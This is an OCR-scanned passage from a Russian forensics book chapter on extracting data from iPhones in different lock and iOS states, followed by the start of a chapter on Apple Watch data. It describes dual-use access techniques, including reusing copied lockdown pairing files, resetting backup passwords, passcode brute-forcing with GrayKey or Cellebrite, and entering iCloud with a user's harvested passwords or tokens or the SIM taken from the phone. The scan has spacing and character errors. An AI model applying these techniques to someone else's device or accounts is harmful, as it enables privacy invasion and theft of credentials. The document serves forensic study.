условиях можно сделать. Да, в журнале «Хакер» была масса публикаций, в том 

числе и весьма детальных, в которых мы описывали различные способы взлома по­

добных устройств. Но вот перед тобой лежит черный кирпичик . Каким из много­

численных способов и какими инструментами ты собираешься воспользоваться? 

Получится ли это сделать вообще, а если получится - сколько времени займет 

взлом, и на что ты можешь рассчитыва ть в результате? 

Да, очень многое зависит от модели уст ройства и установле нной на нем версии iOS 

(которую , кстати , нужно еще узнать - и, забегая вперед, скажу: далеко не факт, 

что тебе это удастся). Но даже iPhone вполне очевидной модели с точно известной 

версией iOS может находиться в одном из множества состояний, и именно от этого 

будет зависеть набор доступных тебе методов и инструментов. 

Для начала давай договоримся: мы будем рассма тривать исключительно поколения 

iPhone, оборудованные 64-разрядными процессорами , т. е. модели iPhone SS, все 

версии iPhone 6/6s/7/8/Plus и текущий флагман - iPhone Х. С точки зрения взлома 

эти устройства отличаются мало (за исключением старых поко ле ний в случае, если 

у тебя есть доступ к услугам компании Cellebrite). 

Установлен ли код блокировки? 

Apple может использовать максимально стойкое шифрование , наворотить слож­

нейшую многоуровневую защиту , но защитить пользователей, которым «нечего 

скрывать» , не сумеет никто. Если на iPhone не установлен код блокировки, извлечь 

из него данные - дело тривиальное. Начать можно за те самые девять минут, о ко­

торых говорилось в статье Би-би-си. Вероятно, процесс займет более длительное 

время: на копирование 100 Гбайт данных уходит порядка двух часов. Что для этого 

требуется? 

Во-первых, подключи телефон к компьютеру , установи доверенные отношения и 

создай резервную копию . Для этого можно использовать даже iTunes (предвари­

тельно обязательно отключи в нем двустороннюю синхронизацию), но специали­

сты предпочтут свое ПО. 

Установлен ли пароль на резервную копию? 

Не установлен? Установи и сделай еще одну резервную копию (рис. 14.1). 

Зачем устанавливать пароль на бэкап? Дело в том, ч то зам етная часть информации 

в резервных копиях iOS шифруется даже тогда, когда пользователь такого пароля 

не устанавливал. В таких случаях для шифрования используется уникальный для 

каждого устройства ключ. Лучше установит ь на бэкап любой известный тебе па­

роль; тогда резервная копия , включая «сек ретные » данные, будет зашифрована 

этим же паролем. Из интересного - ты получишь досту п к защищенному храни-
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iPhone 7 
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Рис. 14.1. Установка пароля на резервную копию данных мобильного устройства 

лищу keychain, т. е. ко всем паролям пользователя, сохраненным в браузере Safari 
и многих встроенных и сторонних приложениях. 

А что, если пароль на резервную копию установлен и ты его не знаешь? Маловеро­

ятно для людей , которым нечего скрывать , но все же? Для устройств, работающих 

на старых версиях iOS (8.х-1 О.х) , единственный вариант - перебор. И если для 

iOS 8-10.1 скорость атаки была приемлемой (сотни тысяч паролей в секунду на 

GPU), то начиная с iOS 10.2 лобовая атака не вариант : скорость перебора не пре­

вышает сотни паролей в секунду даже при использовании мощного графического 

ускорителя. Впрочем , можно попробовать извлечь пароли, которые пользователь 

сохранил , например , в браузере Chrome на персональном компьютере, составить из 

них словарик и использовать его в качестве базового словаря для атаки. (Не пове­

ришь: такая простая тактика срабатывает примерно в двух случаях из трех.) 

А вот устройства на iOS 11 и 12 позволяют запросто сбросить пароль на резервную 

копию прямо из настроек i.Phone. При этом сбросятся некоторые настройки, такие 

как яркость экрана и пароли Wi-Fi , но все приложения и их данные, а также пароли 

пользователя в keychain останутся на месте. Если есть код блокировки , его потре­

буется ввести, но если он не установлен, то сброс пароля на бэкап - дело несколь­

ких кликов (рис. 14.2). 

Что еще можно извлечь из устройства с пустым кодом блокировки? Не прибегая 

к джейлбрейку, совершенно спокойно можно извлечь следующий набор данных: 

□ полную информацию об устройстве; 

□ информацию о пользователе , учетных записях Арр\е , номере телефона (даже 

если SIМ-карту извлекли) ; 
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NoSIM ?~ 14:37 

( General Reset 

Reset Ali Settings 

Erase AII Content and Settiпgs 

Reset Net,vork Settiпgs 

Reset Keyboard Diclionary 

Reset Но те Sсгееп l.ayout 

Reset t.ccation & Privacy 

Рис. 14.2. Для сброса пароля на резервную копию используй команду Reset AII Settings. 
Она сбросит лишь некоторые настройки , включая пароль на бэкап , но не затронет данные 

□ список установленных приложений ; 

□ медиафайлы: фото и видео ; 

□ файлы приложений (например, документы iBooks); 

□ системные журналы crash \ogs (в них, в частности , можно обнаружить инфор­

мацию о приложениях , которые были впоследствии де инсталлированы и з сис­

темы); 

□ уже упомянутую резервную копию в формате iTunes, в которую попадут данные 

многих (не всех) приложений и пароли пользователя от социальных сетей , сай­

тов , маркеры аутентификации и многое другое. 

Джейлбрейк и физическое извлечение данных 

Если тебе не хватило информации, извлеченной из бэкапа, или если не удалось по­

добрать пароль к зашифрованной резервной копии , остается только джейл. Сейчас 

jailbreak существует для всех версий iOS 8.х , 9.х , 10.0-11 .2 .1 (более ранние не 

рассматриваем). Для iOS 11.3.х есть джейл Electra, который работает и на более 

ранних версиях iOS 1 1 . 

Для установки джейлбрейка н уж но восполь зо ваться одной из публично доступных 

утилит (Meridian, Electra и т. д.) и инструментом Cydia lmpactor. Существуют аль­

тернативные способы взлома - например, эскалация привилегий бе з установки 

публичного джейлбрейка при помощи эксплуатации известной уязвимости (напом-
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ню , дл я iOS 10-1 1.2.1 это одна и та же уязвимость, информацию о к ото рой , вклю­

чая готовый и сходный код , опубликовали специалисты Google). Объе д иняет все 

эт и способы общий момент: для их использования необходимо, чт обы iPhone был 

разб л окирован и связан с компьютером (установлены доверенные от ношения) . 

Сле ду ющий ш аг - извлечение образа файловой системы . Дл я этого в лу чшем с лу ­

чае д ос т ат о чн о отк р ыть с телефоном сессию по протоколу SSH и выпо л нить на 

iPhone цепочк у команд; в более сложных случа я х потребуетс я в ручну ю прописать 

нужные пути в Р А ТН либо воспользоваться готовым продуктом. Резул ьта т ом б уд ет 

файл Т AR, п е р едан н ый через туннельное соединение. 

Ес л и на с м ар тфо н е установлена iOS 11.3 .х , ставить джейлбрейк придет ся вр уч ную , 

а дл я и з в ле ч ения информации воспользоваться утилитой iOS Forensic Toolkit 

(рис. 14.3) или д р угой п одобной. 

Ф • 1- ElcomSoft - Toolkit.command - tee • Toolkit.command - 80>< 33 

Welcome to Etcomsoft iOS Forensic Toolkit 
This is driver script version 4.0/Мас for 64bit devices 

(с) 2011-2018 Elcomsoft Со. Ltd. 

Device connected: John "s IPhone 7 
Hardware mode l: D101AP 
Ser i al number: DNPSGб12HG7L 

iOS vers ion: 11.0.з 

Device ID: 8552be27f2450 10e 8f f4б771alf5dfbe7 e03a80c 

Ptease setect an action 

Log 1са t acquisi t ion 
I DEVICE INFO 
В BACKUP 
Н HEDIA 
S SHARED 
L LOGS 

Physica t acqu i sition 

- Get basic device informat ion 
- Create Пunes-styte backup of the device 
- Сору media fites from the device 
- Сору shared fites of the instatted apptications 
- Сору crash togs 

D DISABLE LOCK - DisaЫe screen tock {untit reboot) 
К KEYCHAIN - Dec rypt dev i ce keycha in 
F FILE SYSTEM - Acquire device file system {as TAR archive) 

Х ЕХП 

> : 1 

Рис . 14.3. Так вы гл яди т ин т ерф ей с п р илож е ния, к ото р о е и звл ек ае т информацию из iPhone 

Если же на iPhone работает iOS 1 1.4 или более свежая ве р с ия , то дж ейл придется 

отложить на н ео пр еделенное врем я - пока сообщество разработ ч и ков не нащупает 

очере дную н еза к рытую уязвимость . В этом случае тебе послужит ре з ервная копия 

( а т акже и з в л еч ение об щ их файлов приложений, фотографий и меди афайлов и не­

которы х сис тем н ых жур н алов). 

Раз у меется , в ре зер в ную ко п ию попадает не все. К примеру, в ней не со х раняется 

переписка в Telegram, в н ее не попадают сообщения электронной почты , а история 

д анны х мес то по ложения пользователя исключительно лако н и ч на. Тем не менее , 

резервная коп и я - это уже н емало. 
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А что, если пользователь не совсем беспечен и все-таки установил код блокировки? 

Даже самые беспечные пользователи вынуждены использовать пасскод, если тако­

во требование политики безопасности их работодателя или если они хотят исполь­

зовать Арр\е Рау . И зд есь два варианта: или код блокировки известен, или нет. 

Начнем с простого. 

Известен ли код блокировки? 

Если ты знаешь код блокировки, то можешь сделать с устройством практически что 

угодно. Включить и разблокировать - в любой момент. Поменять пароль от Арр\е 

1D, сбросить привя з ку к iCloud и отключить iCloud lock, включить или выключить 

двухфакторную аутентификацию, сохранить пароли из локального keycl1ain вобла­

ко и извлечь их оттуда. Для устройств с iOS 11 и более новых - сбросить пароль 

на резервную копию , установить собственный и расшифровать все те же пароли от 

сайтов , разнообразных учетных записей и приложений. 

В iOS 11 и более новых код блокировки, если он установлен , потребуется и для ус­

тановки доверенных отношений с компьютером. Это необхо димо как для снятия 

резервной копии (здесь могут быть и другие варианты - например, через файл 

lockdown), так и для установки джейлбрей ка. 

Сможешь ли ты установить джейлбрейк и вытащить те немногие, но потенциально 

ценные для рассле дования данные, которые не попадают в резервную копию? Это 

зависит от версии iOS: 

□ iOS 8.х-9.х: джейлбрейк есть практически для всех комбинаций ОС и платформ; 

□ OS 10 .х- 11.1.2 : джейлбрейк использует открытый эксплоит , обнаруженный спе­

циалистами Google. Работает на всех у стройствах ; 

□ iOS 1 1.2-12. х: джейлбрейк существует и может быть установлен; 

□ iOS ] 3 и выше: в настоящий момент джейла не существует. 

Итак , закупленный Следственным комитетом комплекс iDC-4501 позволяет достичь 

эскалации привилегий в iPhone, работающих под управлением iOS версий с 10.0 по 
11.1.2 включительно , после чего извлечь из устройства данные . 

А что , если код блокировки неизвестен? В этом случае вероятность успешно и з­

влечь хоть что-нибу дь начинает снижаться. Впрочем, и здесь не все потеряно -

в зависимости от того, в каком состоянии поступил на анализ телефон и какая вер­

сия iOS на нем установлена. 

Экран устройства 

заблокирован или разблокирован? 

Далеко не всегда в руки п олиции попадает заблокированный телефон, для которого 

известен код блокировки. Довольно типична «просьба» полицейского: « Передайте 

мне телефон . Разблокируйте! » По словам самих работников полиции, если гово-
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рить уверенным тоном, да еще и на месте происшествия , люди часто выполняют 

просьбу . Спустя 10-15 минут «о ни начинают думать», но уже поздно: получить 

наза д разблокиро ванное устройство вряд ли удастс я . Более того, у полиции может 

быть ордер , в котором будет прописано разр ешение на разблокировку уст р о йства 

при помощи д а тчика отпечатков или лица пользователя против воли владельца 

(а вот узнать таким же образом код блокировки может не получиться в зав исимости 

от юрисдикции) . 

Арр\е встроила в iOS за щи ту от таких действий полиции , ограничив п ер ио д, в те­

чение которого датч ики Touch ID и Face 1D сохраняют работоспособность. Спустя 

опре д еленное вре м я , ко то ро е может отсчитываться как с момента последней раз­

блокировки вообще , та к и с момента последнего ввода кода блокировк и , iPhone при 

очередной попытке ра зб локировать устройство предложит ввести ко д блоки ровки. 

Не будем по д робн о останавливаться на этой теме. Достаточно у помянуть , что био­

метрические д атчики отключаются спустя 48 часов с момента последней р азбл оки­

ровки , или спус т я 8 ча сов , если пользователь не вводил код блокировки в течение 

шести дней, или после пя ти неудачных попы ток сканирования, или после того, как 

поль з ователь активируе т р ежим SOS, ко торый появился в iOS 11 . 

Итак , в твои руки попал iPhone, экр ан которого разблокирован . Твои дейст вия ? 

□ Постарайся отключить автоматическую блокировку экрана в настройках . Учти, 

что , если на телефоне установлена корпоративная политика Exchaпge и л и МDМ , 

такая возможность может быть заблокирована. 

□ Подключи телефон к компьютеру и попытайся уста новить до веренные отноше­

ния . Для iOS с 8 по I О дл я этого достаточно п одтвердить зап рос Trust this 

computer, а вот для iOS l J и выше тебе потре буется ввести код блок ировки . Если 

же код блокир о вки неи з вестен, попытайся найти на компьютере пользователя 

файл lockdowп (о том , ч то это такое и г де хранится, журнал « Хакер» уже неод­

нократно писал ) . 

□ Если удалось уста новить дове ренные отношения , создай резервную копию. 

□ Если же доверенные отношения установить не удалось, а файл lockdown не на­

шелся и л и срок его действия истек, тебе при детс я воспользоваться к ом п ле ксом 

GrayKey для по дбо ра ко да блокировки или услугами Ce llebrite (их о к аз ывают 

только полиции и спецслужба м некоторых стран). 

В двух словах про фай лы lockdown: для того чтобы начать обмениваться да нными 

с компьютером , iPhoпe т ре бует уста нов ить доверенное соединение, в процессе ко­

торого создается пара крип тографических ключей. Один из ключей сохраняетс я в 

самом устройстве , а второй передается на компью тер , где и хранится в виде обыч­

ного файла. Если такой файл скопировать на д р угой компьютер или по дсунут ь 

телефону при помощи специального ПО, то телефон будет уве рен , ч то общаетс я 

с доверенным компьют е ром . Сами файлы сохраняются здесь : 

□ в Wiпdows Vista, 7, 8, 8.J, Wiпdow s 10 это %ProgramData%\Apple\Lockdown. 

Например: 

\PrograrnData\App le\ L oc kd o wn \ 6f 3 a 363e89aaf8e8bd293ee8394857303 4 4edЬal .p l ist 
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□ в Windows ХР это файл %AIIUsersProfile%\Application Data\Apple\Lockdown. 

Выглядеть полный путь будет примерно так: 

C: \Docurnents and Settings\All Users\Application 
Dat a\Apple\Lockdown\6f3a363e89aaf8e8bd293ee839485730344edЬal.plist 

□ в macOS это файл /var/dЬ/lockdown . 

В названии файла присутствует у никальный идентификатор устройства (iPhone или 
iPad). У з нать его довольно легко - достаточно выпоm-~ить за прос при помощи 

Elcomsoft iOS Forensic Toolkit. UUID будет сохранен в фай л XML следующего 

вида: 

<?xml version= " l . 0" encoding="UTF-8 " ?> 

< !DOCTYPE plist PUBLIC "- //Apple//DTD PLIST 1 . 0//EN" 
"http : //www . apple . com/DTDs/PropertyList- l . 0 .dtd"> 

<plist version= " l.0 "> 

<dict> 

< .. . > 

<key>UniqueDeviceID</key> 

<st ring>Oa226c3b263e004a76e6199c43c4072ca7c64a59</string> 

</dict> 

</plist> 

Срок жи зн и файлов lockdowп в iOS 1 1 и более новых версиях ограничен и в точно­

сти неи з вестен. Экспериментально удалось установить, что устройства, которые не 

подключались к довере нном у компьютеру дольше двух месяцев, иногда требуют 

повторного установления дове ренных отношений , так что старые файлы могут не 

сработать . 

Возвращаемся с истории с СК. Закупленный комплекс iDC-4501 позволяет выполнить 

эскалацию привилегий на разблокированном iPhone под управлением iOS версий 
с 1 О.О по 11 .1.2 включительно , после чего извлечь из устрой ства данные . Для iOS 
11.0-11 .1.2, возможно , потребуется или ввести код блокировки , или использовать 

файл lockdown (эт от момент в документации комплекса не освещен , как и возмож­

ность взлома пасс к ода для любых iPhone под управлением iOS новее , чем iOS 7 . х) . 

Еще чуть больше информации ты сможе шь п олучить, если у тебя ест ь доступ 

к биометрике поль зо вателя - его отпе ч атку пальца и л и л и цу. Тогда ты сможешь 

просмотреть пароли и з локаль н ого хранил ища keycl1ai11 . 

В ключен iPhone или выключен? 

От такой простой вещи завис ит очень и очень многое. Если iPh o11e включен, то ве­

лик шанс на то , ч то вла деле ц разблокировал уст ройство хотя бы р аз с момента 

включения. Это , в свою очередь , означает наличие до ступа к за шифрованному 

поль зовательскому раз делу - т. е. к установленным приложениям и их да нным , 

системным журналам и многому д ругому. 

В телефоне , который был ра з блокирован хотя бы ра з, работают сервисы AFC, 

служба создания резервных копий , есть возможность пол у чи ть те да нные , к кото-
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рым приложения открыли доступ. Наконец , можно извлечь фотографии. Дr~я всего 

этого даже не придется разблокировать телефон: при определенной удаче доста­

точно воспользоваться файлом lockdown, извлеченным из компьютера пользовате­

ля. Если же такого файла нет, можно попытаться разблокировать телефон датчиком 

отпечатка Touch ID или сканером лица Face Ш. 

Итак, если тебе в руки попал включенный iPhone с заблокированным экраном, ты 

можешь попробовать с делать следующее. 

1. Подключить телефон к компьютеру. Если на телефоне появилось сообщение 

Unlock iPhone to use accessories, а компьютер совершенно не видит устройства, 

то тебе не пове зло: вероятно , на устройстве работает iOS 11.4.1 или более новая 

и прошло больше часа с момента, когда пользователь в последний раз разблоки­

ровал устройство. Этот режим имеет название USB Restricted Mode и стал реак­

цией Apple на появление сервисов для взлома кода блокировки - в первую оче­

редь, GrayKey и Cellebrite. Увы , если телефон перешел в режим ограничения 

USB, тебе не удастся ни восполь з оваться файлом lockdown, ни подобрать код 

блокировки при помощи сервисов GrayKey или Cellebrite. Не поможет ни пере­

загрузка , ни даже восстановление прошивки через recovery mode с сохранением 

данных. Единственная возможность - разблокировать телефон при помощи 

Face ID, Touch ID (о них- ниже; время , в течение которого можно использо­

вать биометрику для разблокировки , ограничено). Наконец, телефон всегда 

можно разблокировать , введя правильный код блокировки . 

2. Если телефон по дключился к компьютер у, то первое, что нужно сделать, - по­

лучить информацию об устройстве. В Elcomsoft iOS Forensic Toolkit для этого 

служит команда I nfonnation. Даже без установления доверенных отношений 

с компьютером ты сможешь узнать версию iOS, точный идентификатор модели, 

серийный номер устройства и , возможно , номер телефон а пользователя (даже 

если из телефона вынули SIМ-карту) . В зависимости от установленной версии 

iOS тебе будут доступны те или иные способы добраться до пользовательских 

данных. 

3. Если телефон подключился к компьютеру, а у тебя на руках есть файл lockdown 

с компьютера пользователя - считай , что тебе повезло. При помощи этого фай­

ла можно попытаться создать свежую резервную копию - разблокировать те­

лефон не придется! Впрочем , о файлах lockdown мы уже писали; если файл дей­

ствующий, то тебе удастся извлечь из телефона как минимум расширенную ин­

формацию об устройстве ( если iPhone не был разблокирован хотя бы раз после 

включения). А вот если телефон был разблокирован хотя бы единожды после 

того, как его включили , то при помощи файла lockdown получится извлечь и ме­

диафайлы ( фото и видео) , и журнал crash logs, и файлы приложений, и свежую 

резервную копию (вот только пароль на бэкап , если он установлен, сбросить не 

получится - для этого н ужен код блокировки). 

Но что, если на руках у тебя классический черный кирпич без признаков жизни? 

Если взломать требуется выключенный iPhone, тебе так или иначе потребуется уз ­

нать код блокировки . Дело в том , что раздел пользовательских д анных iPhone за-
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ш и ф р ован, а ключ шифрования вычисляется динамически на основе аппаратного 

ключа и данных, которые вводит по л ьзователь , - того самого к ода блокировки. 

Даже если ты извлечешь и з телефона микросхему памяти, тебе эт о ничем не помо­

жет: дан н ые зашифрованы , до ступа к ним нет. Более того: если iPlюne работает под 

у п ра в лением iOS 11 .4.1 или более новой , то очень высока вероятность , что до ввода 

правильного пароля ты не сможешь да же подключи ть устройство к компьютеру. 

Точнее, физически подключить ты его сможешь , но передача данных через USB 

будет заблокирована - не получится д аже получить информацию об устройстве и 

узнать, какая же версия iOS на н е м запущена. 

Итак , у тебя на руках забло кированный телефон , который можно подключить 

к компьютеру. Попробуем взломать ко д блокировки? 

В каких с луч а ях можно взломать 

код бло кировки экрана 

Вот мы и дошли до самого интересного. Можно л и взломать iPlюne за дев я ть ми­

нут? А за сутки? А в принципе ? Если телефон заблокирован , а код блок ировки не­

известен , многое будет зависеть от состояния устройства . Рассмотрим все возмож­

н ые обстоятельства, расположив их в порядке возрастания сложност и. 

1. На телефоне з апущена старая версия iOS (до ] 1.4) и телефон разблокировался 

пользователем хотя бы раз с момента начальной загрузк и . В эт их весьма благо­

приятных условиях ты сможешь воспользоваться GrayKey или услугами 

Ce llebrite (если ты представляешь правоохранительные органы). Скорост ь пере­

бора будет высокой: четырехзначный цифровой ко д блокировки можно подоб­

рать менее чем за час , а скорость перебора шестизначных цифровых кодов будет 

высокой дл я первых 300 тысяч попы то к. Дальше скорость перебора резко сни­

зится - сработает защита Secure Enclave. 

2. На телефоне запущена старая версия iOS (до 1 1.4) и телефон не разблокировался 

ни разу после включения , либо версия iOS 11.4 (неважно, разблокировался ли 

телефон) , либо версия iOS 11.4. 1 и выше (неважно , разблокировался ли телефон, 

но режим USB Restгicted Mode не активировался - т . е. прошло меньше часа 

с последней разблокировки устро йства или телефон был подключен к цифровому 

адаптеру , чтобы пре дот вратить блокировку). Во всех эт их случаях скорость 

перебора будет очень медленной: четырех з начные цифровые коды блокировки 

могут быть взломаны за не делю, а шестизначный цифровой код можно переби­

рать до двух лет. 

3. На телефоне запущена iOS 11.4.1 или более новая; активировался режим USB 

Restricted Mode. Увы, единственное, что можно сделать в таком случае , - это 

попробовать разблокировать телефон датчиком Touch ID или Face 1D либо вве­

сти правильный код блокировки. Запустить автоматизированный перебор не 

удастся, как не удастся и обойти уничтожение данных пос ле д есяти неверных 

попыток (если эта опция включена пользователем) . 
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Как работает взлом кода блокировки 

Для современных устройств с iOS I О версий и 11 существует ровно два решения , 

которые по зволяют подобрать код блокировки экрана. Одно из них разработала 

компания Cel lebrite и пре доставляет его в виде сервиса , доступного исключительно 

правоохранительным органам при наличии соответствующего постановления. Что­

бы в зломать код блокировки, телефон нужно отправить в сервисный центр компа­

нии; а ч тобы понять , возможен ли перебор в принципе , тебе предложат запуст ить 

с п ециальную утилиту. Про решение Cellebrite и з вестно мало; компания тщательно 

охраняет свои секреты. 

Д р утое решение называ ется GrayKey - его разработала компания Grayshift. Реше­

ни е поставляется правоохрани тельным органам и некоторым другим организациям, 

которые могут самостоятельно заниматься перебором паролей. Про GrayKey нам 

известно больше. 

Решение Grays/1ift не пользуется режимом DFU (именно через него удалось взло­

мать старые айфоны) и загружает агент в режиме системы. Перебор можно з апус­

тить как на устройствах, которые были разблокированы хотя бы раз пос ле включе­

ния или перезагр узки, так и на «холодных » устройствах, которые были только что 

включены. При этом скорость перебора отличается даже не в разы - на поря д ки. 

Так, для устройства , которое было хотя бы ра з ра з блокировано после загруз ки , 

полный перебор всех паролей из четырех цифр возможен за 30 минут, но дл я этого 

же устройства, если оно было только что включено , атака на четырехзначный ко д 

бу д ет длиться до 70 дней, а про взлом шестизначных цифровых паролей без каче­

ственного словаря можно забыть: полный перебор займет дес яти лет ия (устройст ­

вом дается лишь одна попытка каждые десять минут). Правда, с шести з начными 

кодами есть тонкость: после 300 тысяч попыток скорость перебора резко па дает и 

устройство перехо дит в режим медленного перебора . 

Звучит неплохо (или плохо , в зависимости от точки зрения) . Увы , но «б ыстрый » 

пере бо р возможен лишь для версий iOS до 11 .3.1 включительно. Есл и пользователь 

хот я бы раз обновлял свой iPhoпe после 29 мая 2018 года , то на уст ройстве будет 

работать iOS 11.4 или более новая. Там «быстрый » перебор при помощ и GrayKey 

н евозможен. Для iOS 1 1 .4 и более новых версий скорость перебора GrayKey огра ­

ничена одним паролем в дес я т ь минут. Это означает, что уст ройс тво с шестизнач­

ным цифр овым кодом блокировки (а современные версии iOS именно такой код 

пре длагают установить по умолчанию) взломать будет практически невозмож н о. 

Режим USB Restricted Mode 

Об этом режиме уже нео днократно писали , в том числе и на страницах журнала 

« Хакер ». Начиная с iOS 1 1.4.1 уст ройства iPhone и iPad полностью блокируют об ­

мен да нными по протоколу USB спустя один час после того, как устрой ство б ы ло 

р азблокировано или отключено от аксессуара . Скорее всего, этот режим был введен 

с це лью противо действия комплексам GrayKey и Cellebrite, которые позволяют по -
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добрать код блокировки устройства при помощи неизвестного Арр \е эксплоита. 

Режим оказался достаточно эффект ивным: устройства с заблокированным портом 

невозможно подключить к соответствующей системе, и перебор не за пускается 

(рис. 14.4). 

(D USB ACC€$$0RY 

Unlock f Phone to use accessories 

Рис. 14.4. Так выглядит экран iPhone, если попробовать подключить его к комп ьютеру или аксессуару 

спустя час после блокировки экрана или отключения от компьютера или аксессуара 

Можно ли обойти режим защиты USB? Во-первых, для активации передачи да нных 

достаточно разблокировать телефон, например при помощи отпечатка пальца (ко­

торый, в свою очередь , тоже не вечен - см. выше). Во-вторых, срабатывание огра­

ничения можно предотвратить , подключив телефон до истечения часа с момента 

после дней блокировки к совместимому аксессуару (годятся не все!) даже в забло ­

кированном состоянии . 

Иными словами , при конфискации уст ройств сотруднику полиции придется не 

только положить телефон в клетку Фарадея , но и подключить его к совместимому 

аксессуару (сгодится , к примеру, официальный переходник Арр\е с Lightning на 

USB 3 с дополнительным портом с по дде ржкой зарядки). Если этого не сделать , то 

всего через час телефон перейдет в з ащитный режим и за пустить перебор кодов 

блокировки не удастся. 

Безопасность - нескончаемая гонка . В Apple з нают о возможности обойти защит­

ный режим USB и разраб атывают технологию, которая будет блокировать пере дачу 

данных мгновенно после блокировки устройства. Если эта возможность войдет 

в состав очередной сборки iOS (а это не факт) , то передача данных по протоколу 

USB будет автоматически деактивирована сразу после блокировки экрана у строй­

ства - подключать телефон к аксессуарам или компьютеру придется в разблоки­

рованном состоянии . 

Ради удобства пользовате ля сделаны исключения для переходника на аудиоразъем 

(впрочем, его подключение никак не влияет на срабатывание USB Restricted Mode) 

и для зарядки от обычных за рядных устройств - но не от компьютерного порта. 
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Что делать, если телефон заблокирован , сломан 

или его вовсе нет 

Как можно извлечь данные из заблокированного или сломанного уст ройства ? При­

мерно так же, как и из уст ройства , которого нет совсем: через об лако iCloud. Поли­

ция при наличии соответствующего постановления может запросить у Apple все 

данные из учет ной записи пользователя , включая облачные резервные копии. Для 

всех прочих досту пен другой способ: при помощи Apple fD и паро л я пользователя. 

Откуда взять Apple Ш и пароль ? Можно , к примеру , з апустить Elcomsoft Internet 

Password Breaker на компьютере пользователя и посмотреть , не найдется л и там 

паро ль от Apple ID или iCloud (он будет одним и тем же) . Или попробовать сбро ­

сить через почту. Обойти двухфакторную аутентификацию , если она активирована , 

можно, получив SMS на SIМ-карту , извлеченную из того же iPhone. 

Наконец , можно поискать на компьютере пользовате л я так называемый маркер 

аутентификации , который позволит автори з оваться в iCloud без логина, пароля и 

вторичного фактора аутентификации. Разумеется, как маркер аутентификации, так 

и пароль от Apple Ш или iCloud может найтись не в каждом сл учае, да и SIМ-карта 

может быть защищена собственным РIN-ко дом, но если тебе удалос ь обойти эти 

препятствия , то при помощи специализированного софта (например, Elcomsoft 

Phone Breaker) ты сможешь скачать следующие вещи: 

□ облачные резервные копии (до двух для каждого устройства в учетной записи); 

□ синхронизированные данные . Здесь - раз;;~.олье: и список открытых в Safari 

страниц с историей посещений , и кален да ри , и заметки, и контакты, и даже жур­

нал звонков и все текстовые сообщения , включая iMessage (для iMessage, прав­

да , потреб уетс я как пароль , так и код блокировки одного из д оверенных 

устройств пользователя). Если у по л ьзователя есть Мае , то могут найтись и фай­

лы , синхронизированные с компьютера , и даже депонированный ключ для рас­

шифровки раздела FileVault 2; 

□ если включена iCloud Photo Library - то и фотографии; 

□ если включен iCloud Keychain, то и пароли пользователя от разных онлайновых 

ресурсов. Для этого потреб уетс я ввести код блокировки одного из д оверенных 

устройств пользователя . 

Заключение 

Если ты прочитал этот раз дел, вероятно , ты уже догадался, можно ли в злом ать 

iPhone за девять минут при помощи « магического куба » или специализированного 

безымянного комплекса дл я вз лома мобильных устройств. Да , можно - если теле­

фон работает по д управлением iOS 10-11 .2.1 (т. е . не получил обновление до 

iOS 11.2, вышедшее 2 декабря 2017 года) и был любезно разблокирован подозре­

ваемым , не защищен ко дом блокировки или код блокировки извес те н . 
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Если пользователь хоть раз обновил устройство после 2 декабря 2017 года - магия 

не сработает. Если телефон заблокирован неизвестным паролем - магия не срабо­

тает , код блокировки придется взламывать отдельным решением GrayKey или 
Cellebrite (которое , кстати, в случае успеха самостоятельно извлечет все данные). 

Если же телефон заблокирован и работает под управлением iOS от 11.4. 1, а с мо­

мента последней разблокировки или подключения к аксессуару прошло больше 

часа , то не помогут и эти сервисы. 

А что ожидается в ближайшем будущем? Уже вышла iOS 13, на которую, скорее 

всего, перейдут практически все пользователи iOS. В частности, массовый переход 

на iOS старше 12 означает и массовое распространение режима USB Restricted 
Mode. 

Для iOS 12 уже существует возможность джейлбрейка . Для iOS 13 уязвимостей 
пока что не обнаружено, но вероятность, что их найдут , эксперты оценивают, как 

высокую. Возможно , на момент, когда эта книга поступит в про д аж у, джейлбрейк 

iOS 13 станет возможным . 
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15. Извлекаем и анализируем 

данные Apple Watch 

ОлегАфонин 

-п;:.НЕР ...... 

Арр\е Watch - одна из самых популярных в мире марок умных часов. Последняя 

их версия оснащена полным набором дат чиков и процессором , мощность которого 

превос ходит бюджетные (и даже не очень бюджетные) модели смартфонов. При 

помощи час ов Apple собирает огромные массивы данных. Что пр оисходит с эт ими 

д анными , где они хранятся и как их и звлечь? Попробуем р азоб раться . 

За последние несколько лет поп ул ярность разнообразных трекеров и умных часов 

значительно возросла. В 2018 году был про дан 141 миллион умн ы х часов , что поч­

ти в д в ое превыш ает рез ульт ат пре д ы дуще го года. С ре д и всего разнообразия моде­

лей выделяется линейка Арр\е Watch, про дажи которых в 2018 году составили 

22,5 миллиона единиц. Уже несколько лет суммарная доля всех моделей А рр\ е 

Watch л ишь немн ого н е дотягивает до половины на глобальном рынке . 

Первая версия часов Арр \ е Watch была выпущена в 2015 году. В следующем году 

на з амен у первом у поколению часов пришло пок оление Series 1, которое вышло 

о д новременн о с версией Series 2. На сегодняшний де нь актуальная модель - чет­

вертая (по факту пятая) версия App le Watch 4. Все версии часов от Арр \ е работают 

под у правление м с пеци ализированной операционной системы WatchOS, ко д кото­

рой , в свою очередь , основан на мобильной системе iOS. 

Эта статья написана в соавторстве с Маттиа Эпифани . Маттиа - основатель италь­

янской компании REALIТY NET, ко нсультант в сфере цифровой криминалистики и мо ­

бильной безопасности , инстру к тор ку рсов SANS и соавтор книги Learning iOS 
Forensics. 

Почему Apple Watch? 

В от л ичие от подробно исследованных смартфонов iPhone и д ругих уст р ойств, ра­

ботающих по д управлением операционной системы iOS, часы Арр\е Watch заинте ­

ресовали ли шь небольшое число экс пертов. Первой работой , описывающей струк ­

туру д анны х Арр\е Watch, стала публикация Хизер Махалик (Heather Mahalik) 

и Сары Эдварде (Sarah Edwards), опубликованная в 2015 году (https://github.com/ 

mac4 n6/Presenta tions/ЫoЬ/master / Apple%20W atch %20-%20Times % 20а' %20 
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Tickin'/Apple_ Watch_Times_a_Tickin.pdf). С тех пор сравнимых по масштабу ис­

следований часов от Арр\е не проводилось . 

Пос ледние версии часов Apple Watch оснащены большим числом разнообразных 

д атчиков. Здесь и дат чик атмосферного давле ния , и шагомер , и датчик пульса, 

и чувствительные инерционные датчики , и датчик магнитного поля , и полноцен­

ный чипсе т для определения координат по спутникам GPS, GLONASS и Galileo, и 

д аже дат чик для снятия электрока р диограмм. Многие и з этих дат чиков работают 

постоянно , но некоторые включаются л ишь периодически. Пример- датчик для 

определения местоположения, который активируется лишь в те моменты, когда 

WatchOS считает , ч то ты вышел на пробежку. 

С у че том того что часы оборудованы 8 Гбайт встроенной памяти, лог ично было бы 

